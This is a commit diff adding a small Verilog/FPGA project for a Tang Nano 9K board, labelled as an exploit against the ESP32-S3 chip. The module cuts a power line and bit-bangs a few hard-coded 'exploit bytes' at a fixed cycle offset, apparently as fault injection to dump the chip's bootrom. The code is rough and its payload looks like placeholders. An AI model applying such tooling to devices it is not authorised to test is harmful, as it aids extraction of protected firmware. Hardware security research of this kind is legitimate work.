added FPGA project and live bootrom rips

ESP32-S3_Exploit/.core

@@ -0,0 +1 @@
+{file_type:systemVerilogSource}

ESP32-S3_Exploit/ES32-S3_Exploit.v

@@ -0,0 +1,73 @@
+module exploit
+(
+    // exploit
+    input clk_in,
+    output bang_tx,
+    output power_tx,
+    output [5:0] led
+);
+
+////////// EXPLOIT
+localparam INSTRUCTION_OFFSET = 100;
+
+// da official exploit code
+localparam EXPLOIT_BYTES = {16'hFA,16'hEB,16'h11,16'hDD};
+
+localparam EXPLOIT_BYTES_LEN = $bits(EXPLOIT_BYTES)-1; // $bits() seems to work // https://www.linkedin.com/pulse/bits-clog2-size-uses-differences-muhammed-kawser-ahmed
+
+localparam LEDS_ON = 0;
+localparam LEDS_OFF = 6'b111111;
+
+reg [1:0] bang_tx_reg = 0;
+reg [1:0] power_tx_reg = 1;
+reg [1:0] led_run = 1;
+reg [1:0] rst = 0;
+reg [1:0] running = 1; 
+reg [5:0] ledCounter = 0;
+reg [23:0] instruction_counter = 0;
+reg [23:0] exploit_tx_count = 0;
+reg [EXPLOIT_BYTES_LEN:0] exploit_bytes_reg = EXPLOIT_BYTES; 
+
+always @(posedge clk_in) begin
+    if(rst == 1) begin
+        running = 1;
+        power_tx_reg = 1;
+        rst = 0;
+    end
+
+    if(instruction_counter == INSTRUCTION_OFFSET) begin
+        power_tx_reg = 0;
+        rst = 1;
+    end
+
+    if(running == 1) begin
+        if(instruction_counter >= INSTRUCTION_OFFSET && instruction_counter <= INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin 
+            bang_tx_reg <= exploit_bytes_reg[exploit_tx_count];
+            exploit_tx_count <= exploit_tx_count + 1;
+            led_run <= 1;
+        end else begin
+            led_run <= 0;
+        end
+
+        if(led_run == 1) begin
+           ledCounter <= ledCounter + 1;
+           if(ledCounter == LEDS_OFF) begin
+                ledCounter <= LEDS_ON;
+           end
+        end
+
+        if(instruction_counter == INSTRUCTION_OFFSET+EXPLOIT_BYTES_LEN) begin
+            ledCounter <= LEDS_ON;
+            rst = 1;
+            running = 0;
+        end
+
+        instruction_counter <= instruction_counter + 1;
+    end
+end
+
+assign led = ledCounter;
+assign bang_tx = bang_tx_reg;
+assign power_tx = power_tx_reg;
+
+endmodule

ESP32-S3_Exploit/README.md

@@ -0,0 +1,2 @@
+Made for the [Tang Nano 9K FPGA](https://www.aliexpress.us/item/3256807026232976.html?channel=twinner)
+Build using [Lushay Code](https://learn.lushaylabs.com/vscode-extension/) for VS Code/*

ESP32-S3_Exploit/lushayproject.lushay.json

@@ -0,0 +1,9 @@
+{
+    "name": "ESP32-S3_Exploit",
+    "board": "tangnano9k",
+    "includedFiles": ["ES32-S3_Exploit.v"],
+    "constraintsFile": "tangnano9k.cst",
+    "baudRate": 115200,
+    "top":"exploit"
+
+}

ESP32-S3_Exploit/tangnano9k.cst

@@ -0,0 +1,19 @@
+IO_LOC  "bang_tx" 69;
+
+IO_LOC  "power_tx" 57;
+IO_PORT "power_tx" DRIVE=24;
+
+IO_LOC  "clk_in" 56;
+IO_PORT "clk_in" PULL_MODE=UP;
+
+IO_LOC  "led[0]" 10;
+
+IO_LOC  "led[1]" 11;
+
+IO_LOC  "led[2]" 13;
+
+IO_LOC  "led[3]" 14;
+
+IO_LOC  "led[4]" 15;
+
+IO_LOC  "led[5]" 16;